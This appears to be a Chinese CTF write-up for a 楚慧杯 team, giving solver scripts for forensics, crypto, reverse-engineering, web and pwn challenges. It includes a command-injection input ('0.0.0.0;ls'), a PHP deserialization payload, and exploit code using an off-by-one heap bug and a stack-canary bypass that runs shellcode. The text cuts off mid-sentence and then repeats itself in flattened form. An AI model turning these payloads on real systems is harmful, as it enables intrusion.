Zeropz-楚慧杯L组WP
字数 2209 2025-08-22 12:22:42

CTF竞赛解题技巧与实战分析

1. 数据安全与取证分析

1.1 手机号码提取技术

在"DS ds-findphone"题目中,展示了从数据文件中提取特定格式手机号码的技术:

import re
import csv

tmp = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799]

data = open('data.txt', 'rb').read()
f = open('output.csv', 'w', newline='', encoding='utf-8')
writer = csv.writer(f)
head = ['category', 'value']
writer.writerow(head)

for i in tmp:
    t = str(i).encode()
    pattern = t + rb'\d{8}'
    matches = re.findall(pattern, data)
    for match in matches:
        print(match)
        message = ['phone', match.decode()]
        writer.writerow(message)

关键点:

  1. 使用预定义的手机号前缀列表进行匹配
  2. 正则表达式模式为"3位前缀+8位数字"
  3. 结果输出到CSV文件,便于后续分析

1.2 特殊流量分析

在"特殊流量2"题目中,展示了从流量中提取公钥和破解替换密码的技术:

  1. 提取的公钥格式:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
  1. 替换密码破解:
from itertools import product

original = "xx34d619x1brxgd9mgd4xzxwxytv669w"
positions = [i for i, char in enumerate(original) if char == 'x']
replacements = product('i7', repeat=len(positions))

results = []
for combo in replacements:
    temp = list(original)
    for pos, repl in zip(positions, combo):
        temp[pos] = repl
    results.append(''.join(temp))

for result in results:
    print(result)

关键点:

  1. 使用itertools.product生成所有可能的替换组合
  2. 针对每个'x'位置尝试替换为'i'或'7'
  3. 输出所有可能的字符串组合

1.3 内存取证技术

在"马赛克"题目中,展示了内存取证的关键步骤:

  1. 使用imageinfo查看内存镜像信息
  2. 使用filescan发现桌面有flag.zip文件
  3. 导出损坏的zip文件后,在editbox命令下发现flag文件被打乱
  4. 逆向恢复脚本:
recovered_f = open('./new.zip', 'rb').read()
recovered_L = len(recovered_f)
original_L = (recovered_L // 10) * 10
original_data = bytearray(original_L)
loop_count = original_L // 10

for i in range(loop_count):
    original_data[5*i:5*i+5] = recovered_f[10*i:10*i+5]
    original_data[original_L-5*i-5:original_L-5*i] = recovered_f[10*i+5:10*i+10]

if recovered_L % 10 != 0:
    remainder = recovered_L % 10
    if remainder <= 5:
        original_data[:remainder] = recovered_f[-remainder:]
    else:
        original_data[:5] = recovered_f[-(remainder):-(remainder-5)]
        original_data[original_L-(remainder-5):original_L] = recovered_f[:(remainder-5)]

with open('./recovered_flag.zip', 'wb') as recovered_file:
    recovered_file.write(original_data)

关键点:

  1. 计算原文件长度和循环次数
  2. 恢复原始数据排列顺序
  3. 处理可能存在的余数部分

2. 密码学挑战

2.1 RSA Wiener攻击

在"ddd"题目中,展示了针对RSA的Wiener攻击实现:

import gmpy2
import libnum

def continuedFra(x, y):
    cf = []
    while y:
        cf.append(x // y)
        x, y = y, x % y
    return cf

def gradualFra(cf):
    numerator = 0
    denominator = 1
    for x in cf[::-1]:
        numerator, denominator = denominator, x * denominator + numerator
    return numerator, denominator

def solve_pq(a, b, c):
    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) // (2 * a), (-b - par) // (2 * a)

def getGradualFra(cf):
    gf = []
    for i in range(1, len(cf) + 1):
        gf.append(gradualFra(cf[:i]))
    return gf

def wienerAttack(e, n):
    cf = continuedFra(e, n)
    gf = getGradualFra(cf)
    for d, k in gf:
        if k == 0:
            continue
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return d

n = 114566998957451783636756389276471274690612644037126335470456866443567982817002189902938330449132444558501556339080521014838959058380963759366933946623103869574657553262938223064086322963492884606713973124514306815995276393344755433548846003574038937940253826360659447735554684257197194046341849089254659225497
e = 35489734227210930185586918984451799765619374486784192218215354633053183935617953856556709715097294481614236703293033675674496036691242573294182072757562322996800390363453350727372642264982749305833933966045097125311467413670410802534093354414115267442785896373815076066721029449240889291057288090241124904705
c = 60503455347700500866544596012233537789678841391057706123172519773588895502922586197178148979273264437566411675346207472455036341903878112074983509557751805365618433536738111588239911292341288514123006967218545943520736254346030465088445419278775539026233686559207400401082452551955780877227801939191694370380

d = wienerAttack(e, n)
m = pow(c, d, n)
print(libnum.n2s(m).decode())

关键点:

  1. 使用连分数展开进行攻击
  2. 计算渐进分数寻找可能的私钥d
  3. 通过验证p*q=n确认找到正确的d

2.2 AES解密技术

在"特殊流量2"题目中,展示了AES解密的技术:

from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Hash import MD5

def derive_key_and_iv(password, salt, key_length, iv_length):
    d = d_i = b''
    while len(d) < key_length + iv_length:
        d_i = MD5.new(d_i + password + salt).digest()
        d += d_i
    return d[:key_length], d[key_length:key_length+iv_length]

def decrypt_openssl(enc, password):
    data = b64decode(enc)
    if data[:8] != b"Salted__":
        raise ValueError("Invalid OpenSSL-encrypted data")
    salt = data[8:16]
    key, iv = derive_key_and_iv(password.encode('utf-8'), salt, 32, 16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(data[16:])
    padding_length = decrypted[-1]
    return decrypted[:-padding_length]

def brute_force_decrypt(ciphertexts, key_file):
    with open(key_file, 'r') as f:
        keys = f.readlines()
    for key in keys:
        key = key.strip()
        for i, ciphertext in enumerate(ciphertexts):
            try:
                decrypted_text = decrypt_openssl(ciphertext, key)
                return i, key, decrypted_text.decode('utf-8')
            except Exception as e:
                pass
    return None, None, None

ciphertexts = ["U2FsdGVkX18tplkP51SopY26cczUyjuT8tP9j3Ofqv5XF5njA7CygY125iYhxplSQTNoT/kcwoN1z+4a4r/+9JtONfutcHXoyCv2tLseBHr802V/RRtFaZnZc3DM/trRmjk5SAyMSgvN+laSp6uK8eAOq7yKWq7FI+En5cu+j7+bxiuceviSoJ9gEw3SfEMtz4rYbKHagq8aCAlKPEevM+HVSnGSrMoy6QS8oQPgHkafdVj2m1HmfkdQFL5q7qYvrxVlRLbm657I0VIIusf8Q6+rsvlh28HrE3MzLlu6fd/cQ7nsZKuKYo0u4pc/yvI3RZglrd7Fb6piO4ryhs2g1g=="]
key_file = "./1.txt"
index, key, decrypted_text = brute_force_decrypt(ciphertexts, key_file)

关键点:

  1. 处理OpenSSL格式的加密数据
  2. 使用MD5派生密钥和IV
  3. 支持暴力破解尝试多个密钥

2.3 矩阵密码还原

在"PixMatrix"题目中,展示了矩阵变换的还原技术:

from PIL import Image

def split_image_into_8x8_blocks(image_path):
    img = Image.open(image_path)
    width, height = img.size
    blocks = []
    for y in range(0, height, 8):
        for x in range(0, width, 8):
            block = img.crop((x, y, x+8, y+8))
            blocks.append(block)
    return blocks, img.size

def split_8x8_into_4x4(block):
    sub_blocks = [
        block.crop((0, 0, 4, 4)),   # 左上
        block.crop((4, 0, 8, 4)),   # 右上
        block.crop((0, 4, 4, 8)),   # 左下
        block.crop((4, 4, 8, 8))    # 右下
    ]
    return sub_blocks

def swap_top_right_bottom_left(sub_blocks):
    sub_blocks[1], sub_blocks[2] = sub_blocks[2], sub_blocks[1]
    return sub_blocks

def merge_4x4_into_8x8(sub_blocks):
    new_block = Image.new("RGB", (8, 8))
    new_block.paste(sub_blocks[0], (0, 0))    # 左上
    new_block.paste(sub_blocks[1], (4, 0))    # 右上
    new_block.paste(sub_blocks[2], (0, 4))    # 左下
    new_block.paste(sub_blocks[3], (4, 4))    # 右下
    return new_block

def save_processed_image(blocks, original_size, output_path):
    new_img = Image.new("RGB", original_size)
    block_index = 0
    for y in range(0, original_size[1], 8):
        for x in range(0, original_size[0], 8):
            new_img.paste(blocks[block_index], (x, y))
            block_index += 1
    new_img.save(output_path)

def process_image(image_path, output_path):
    blocks, original_size = split_image_into_8x8_blocks(image_path)
    processed_blocks = []
    for block in blocks:
        sub_blocks = split_8x8_into_4x4(block)
        sub_blocks = swap_top_right_bottom_left(sub_blocks)
        new_block = merge_4x4_into_8x8(sub_blocks)
        processed_blocks.append(new_block)
    save_processed_image(processed_blocks, original_size, output_path)

关键点:

  1. 将图像分割为8x8块
  2. 每个块再分割为4个4x4子块
  3. 交换右上和左下的子块位置
  4. 重新合并为8x8块并保存图像

3. Web安全挑战

3.1 SSTI漏洞利用

在"Sal的图集"题目中,展示了服务器端模板注入(SSTI)的利用:

  1. 发现search存在SSTI漏洞
  2. 使用fenjing工具进行利用
  3. 绕过过滤:
    • importbuiltinscat被过滤
    • 使用空字符串''绕过

关键点:

  1. 识别SSTI注入点
  2. 绕过过滤字符限制
  3. 读取flag文件

3.2 反序列化漏洞

在"popmart"题目中,展示了PHP反序列化漏洞的利用:

  1. 发现0.0.0.0;ls可以进行RCE但长度受限
  2. 使用nl命令查看文件内容
  3. 发现p0pmart.php存在反序列化漏洞:
<?php
error_reporting(0);
require_once("flag.php");

class popmart {
    public $yuki;
    public $molly;
    public $dimoo;
    
    public function __construct() {
        $this->yuki = 'tell me where';
        $this->molly = 'dont_tell_you';
        $this->dimoo = "you_can_guess";
    }
    
    public function __wakeup() {
        global $flag;
        global $where_you_go;
        $this->yuki = $where_you_go;
        if($this->molly === $this->yuki) {
            echo $flag;
        }
    }
}

$pucky = $_GET['wq'];
if(isset($pucky)) {
    if($pucky === "二仙桥") {
        extract($_POST);
        if($pucky === "二仙桥") {
            die("<script>window.alert('说说看,你要去哪??');</script>");
        }
        unserialize($pucky);
    }
}
?>

利用步骤:

  1. 构造popmart类的序列化字符串
  2. 利用extract函数进行变量覆盖
  3. 通过GET和POST发送payload:
GET: p0pmart.php?wq=二仙桥
POST: pucky=O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}&where_you_go=dont_tell_you

关键点:

  1. 识别反序列化入口点
  2. 利用extract函数进行变量覆盖
  3. 构造满足条件的对象属性

3.3 自动化Web挑战

在"速算比赛"题目中,展示了自动化Web挑战的解决方案:

import requests, re

sessions = requests.session()
for i in range(31):
    url = 'http://139.155.126.78:18257/'
    html = sessions.get(url=url)
    try:
        Calculate = re.findall("Calculate: (.*?)<br>", html.text)[0]
        Correct_Count = re.findall("Correct Count: (.*?)<br>", html.text)[0]
        answer = eval(Calculate)
        print(f"提交答案:{answer}")
        url = 'http://139.155.126.78:18257/'
        html = sessions.post(url=url, data={"answer": answer})
    except:
        print(html.text)

关键点:

  1. 使用会话保持状态
  2. 正则表达式提取计算题目
  3. 使用eval计算表达式结果
  4. 自动提交答案

4. 二进制漏洞利用

4.1 堆利用技术

在"EZheap_2"题目中,展示了堆利用的高级技术:

  1. 保护全开情况下的利用
  2. edit函数存在off-by-one漏洞
  3. 利用show函数泄露代码段基地址:
add(0, 0x18) #0
add(1, 0x68) #1
add(2, 0x68) #2
add(3, 0x18) #3

edit(0, b'\x00'*0x18 + p8(0xe1))
free(1)
add(4, 0xd8)
show(4)
ru(b"\n")
main_addr = int(io.recv(14), 16) - 0x202160
  1. 劫持_IO_2_1_stdout_泄露libc
  2. 使用ORW链绕过execve限制

关键点:

  1. 利用off-by-one构造堆风水
  2. 泄露地址计算基址
  3. 使用setcontext劫持栈
  4. 在free_hook周围布置shellcode

4.2 Canary绕过技术

在"Inequable_Canary"题目中,展示了Canary保护机制的绕过:

  1. 利用任意地址写漏洞修改__stack_chk_fail
  2. __stack_chk_fail改为vuln中ret的地址
  3. 栈溢出执行shellcode:
ret_addr = elf.sym['vuln']
stack_chk_fail_got = elf.got['__stack_chk_fail']
jmp_rsp = 0x40081B

ru(b"Say some old spells to start the journey\n")
payload = p64(0x400820)
sl(payload)

ru(b"Tell me the location of the Eye of the Deep Sea\n")
s(b"a"*8 + p64(stack_chk_fail_got))

ru(b"I have magic\n")
s(p64(0x4008EF))

ru(b"Let's go!\n")
sh = shellcraft.openat(-100, "/flag", 0)
sh += shellcraft.sendfile(1, 3, 0, 0x50)
payload = b"a"*0x28 + p64(jmp_rsp) + asm(sh)
s(payload)

关键点:

  1. 劫持栈检查失败处理函数
  2. 利用jmp_rsp执行栈上shellcode
  3. 使用openat和sendfile读取flag

5. 逆向工程挑战

5.1 二叉树遍历算法

在"bouquet"题目中,展示了二叉树遍历算法的逆向:

  1. 识别中序、后序和层序遍历
  2. 根据遍历结果重建二叉树
  3. 层序遍历输出flag:
from collections import deque

def LevelOrder(postorder, inorder):
    def build_tree(postorder, inorder):
        if not postorder or not inorder:
            return None
        root_val = postorder[-1]
        root = {'val': root_val, 'left': None, 'right': None}
        root_index = inorder.index(root_val)
        root['left'] = build_tree(postorder[:root_index], inorder[:root_index])
        root['right'] = build_tree(postorder[root_index:-1], inorder[root_index+1:])
        return root

    def bfs_traversal(root):
        queue = deque([root])
        while queue:
            node = queue.popleft()
            print(node['val'], end="")
            if node['left']:
                queue.append(node['left'])
            if node['right']:
                queue.append(node['right'])

    tree_root = build_tree(postorder, inorder)
    bfs_traversal(tree_root)

postorder = "j7aw_sC3addq4TAo}8_Fda{SD"
inorder = "ja7Cws_A3daTd4qDo8}F_Sd{a"
LevelOrder(postorder, inorder)

关键点:

  1. 根据中序和后序遍历重建二叉树
  2. 实现广度优先搜索(BFS)遍历
  3. 输出层序遍历结果作为flag

5.2 Go二进制逆向

在"go_bytes"题目中,展示了Go二进制逆向的关键技术:

  1. 主要加密逻辑:(flag[i]<<4)|(flag[i+1]>>4)加上异或
  2. 使用ida_dbg获取r8和r9寄存器值
  3. 解密脚本:
r9 = [8889, 51704, 35977, 65304, 5177, 19978, 10891, 1995, 48619, 64171, 16379, 30795, 40734, 20459, 19723, 53390, 14523, 52142, 53966, 37182, 2667, 61499, 20603, 14731, 37854, 15566, 17822, 19134, 21822, 12654, 13246, 17150, 52942, 19934, 38955, 41755, 32814, 4846, 63098, 60281]
r8 = [8957, 51693, 36029, 65325, 5245, 20077, 10813, 1965, 48637, 64237, 16317, 30765, 40829, 20333, 19773, 53421, 14589, 52205, 53949, 37165, 2685, 61549, 20541, 14765, 37885, 15597, 17853, 18989, 21885, 12653, 13117, 17069, 52989, 19949, 39101, 41773, 32893, 4717, 63037, 60333]

enc = [r9[i] ^ r8[i] for i in range(len(r9))]
print(enc)

for i in range(40):
    print(chr((enc[i-1] & 0xf) << 4 | (enc[i] >> 4)), end="")

关键点:

  1. 理解Go二进制加密逻辑
  2. 动态调试获取关键寄存器值
  3. 逆向加密算法实现解密

5.3 SM4类似算法逆向

在"zistel"题目中,展示了类似SM4结构算法的逆向:

  1. 二十轮Feistel结构的加密
  2. 关键函数sub_100261b的逆向
  3. 算法复现:
import libnum

def getlbytes(l):
    ans = []
    for i in l:
        get = []
        for j in range(4):
            get.append(i & 0xff)
            i >>= 8
        ans += get
    return ans

def getdword(list, mode="little"):
    ans = []
    for i in range(0, len(list), 4):
        ans.append(int.from_bytes(list[i:i+4], mode))
    return ans

def fun(a1, a2):
    a2 ^= a1
    temp = getlbytes([a1])
    temp2 = getlbytes([a2])
    for i in range(4):
        ecx = temp[i] & 3
        temp2[i], temp2[ecx] = temp2[ecx], temp2[i]
    return getdword(temp2)[0] ^ a1

table = [0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E]

enc = [0x33293158, 0x60760211, 0x42185F46, 0x63746F29]

for i in range(0, len(enc), 2):
    v10 = enc[i+1]
    v11 = enc[i]
    for i in range(20-1, -1, -1):
        v10, v11 = v11 ^ fun(table[i], v10), v10
    print(libnum.n2s(v10).decode()[::-1], end="")
    print(libnum.n2s(v11).decode()[::-1], end="")

关键点:

  1. 识别Feistel结构
  2. 逆向关键加密函数
  3. 实现反向解密算法

6. 总结

本教学文档涵盖了CTF竞赛中多个关键领域的技术,包括:

  1. 数据安全与取证分析技术
  2. 密码学挑战的解决方案
  3. Web安全漏洞的利用方法
  4. 二进制漏洞利用的高级技巧
  5. 逆向工程的实战分析方法

每种技术都提供了详细的代码实现和关键点说明,帮助学习者深入理解CTF竞赛中的各种挑战和解决方案。通过掌握这些技术,参赛者

CTF竞赛解题技巧与实战分析 1. 数据安全与取证分析 1.1 手机号码提取技术 在"DS ds-findphone"题目中,展示了从数据文件中提取特定格式手机号码的技术: 关键点: 使用预定义的手机号前缀列表进行匹配 正则表达式模式为"3位前缀+8位数字" 结果输出到CSV文件,便于后续分析 1.2 特殊流量分析 在"特殊流量2"题目中,展示了从流量中提取公钥和破解替换密码的技术: 提取的公钥格式: 替换密码破解: 关键点: 使用itertools.product生成所有可能的替换组合 针对每个'x'位置尝试替换为'i'或'7' 输出所有可能的字符串组合 1.3 内存取证技术 在"马赛克"题目中,展示了内存取证的关键步骤: 使用 imageinfo 查看内存镜像信息 使用 filescan 发现桌面有flag.zip文件 导出损坏的zip文件后,在editbox命令下发现flag文件被打乱 逆向恢复脚本: 关键点: 计算原文件长度和循环次数 恢复原始数据排列顺序 处理可能存在的余数部分 2. 密码学挑战 2.1 RSA Wiener攻击 在"ddd"题目中,展示了针对RSA的Wiener攻击实现: 关键点: 使用连分数展开进行攻击 计算渐进分数寻找可能的私钥d 通过验证p* q=n确认找到正确的d 2.2 AES解密技术 在"特殊流量2"题目中,展示了AES解密的技术: 关键点: 处理OpenSSL格式的加密数据 使用MD5派生密钥和IV 支持暴力破解尝试多个密钥 2.3 矩阵密码还原 在"PixMatrix"题目中,展示了矩阵变换的还原技术: 关键点: 将图像分割为8x8块 每个块再分割为4个4x4子块 交换右上和左下的子块位置 重新合并为8x8块并保存图像 3. Web安全挑战 3.1 SSTI漏洞利用 在"Sal的图集"题目中,展示了服务器端模板注入(SSTI)的利用: 发现search存在SSTI漏洞 使用fenjing工具进行利用 绕过过滤: import 、 builtins 、 cat 被过滤 使用空字符串 '' 绕过 关键点: 识别SSTI注入点 绕过过滤字符限制 读取flag文件 3.2 反序列化漏洞 在"popmart"题目中,展示了PHP反序列化漏洞的利用: 发现 0.0.0.0;ls 可以进行RCE但长度受限 使用 nl 命令查看文件内容 发现 p0pmart.php 存在反序列化漏洞: 利用步骤: 构造popmart类的序列化字符串 利用extract函数进行变量覆盖 通过GET和POST发送payload: 关键点: 识别反序列化入口点 利用extract函数进行变量覆盖 构造满足条件的对象属性 3.3 自动化Web挑战 在"速算比赛"题目中,展示了自动化Web挑战的解决方案: 关键点: 使用会话保持状态 正则表达式提取计算题目 使用eval计算表达式结果 自动提交答案 4. 二进制漏洞利用 4.1 堆利用技术 在"EZheap_ 2"题目中,展示了堆利用的高级技术: 保护全开情况下的利用 edit函数存在off-by-one漏洞 利用show函数泄露代码段基地址: 劫持 _IO_2_1_stdout_ 泄露libc 使用ORW链绕过execve限制 关键点: 利用off-by-one构造堆风水 泄露地址计算基址 使用setcontext劫持栈 在free_ hook周围布置shellcode 4.2 Canary绕过技术 在"Inequable_ Canary"题目中,展示了Canary保护机制的绕过: 利用任意地址写漏洞修改 __stack_chk_fail 将 __stack_chk_fail 改为vuln中ret的地址 栈溢出执行shellcode: 关键点: 劫持栈检查失败处理函数 利用jmp_ rsp执行栈上shellcode 使用openat和sendfile读取flag 5. 逆向工程挑战 5.1 二叉树遍历算法 在"bouquet"题目中,展示了二叉树遍历算法的逆向: 识别中序、后序和层序遍历 根据遍历结果重建二叉树 层序遍历输出flag: 关键点: 根据中序和后序遍历重建二叉树 实现广度优先搜索(BFS)遍历 输出层序遍历结果作为flag 5.2 Go二进制逆向 在"go_ bytes"题目中,展示了Go二进制逆向的关键技术: 主要加密逻辑: (flag[i]<<4)|(flag[i+1]>>4) 加上异或 使用ida_ dbg获取r8和r9寄存器值 解密脚本: 关键点: 理解Go二进制加密逻辑 动态调试获取关键寄存器值 逆向加密算法实现解密 5.3 SM4类似算法逆向 在"zistel"题目中,展示了类似SM4结构算法的逆向: 二十轮Feistel结构的加密 关键函数sub_ 100261b的逆向 算法复现: 关键点: 识别Feistel结构 逆向关键加密函数 实现反向解密算法 6. 总结 本教学文档涵盖了CTF竞赛中多个关键领域的技术,包括: 数据安全与取证分析技术 密码学挑战的解决方案 Web安全漏洞的利用方法 二进制漏洞利用的高级技巧 逆向工程的实战分析方法 每种技术都提供了详细的代码实现和关键点说明,帮助学习者深入理解CTF竞赛中的各种挑战和解决方案。通过掌握这些技术,参赛者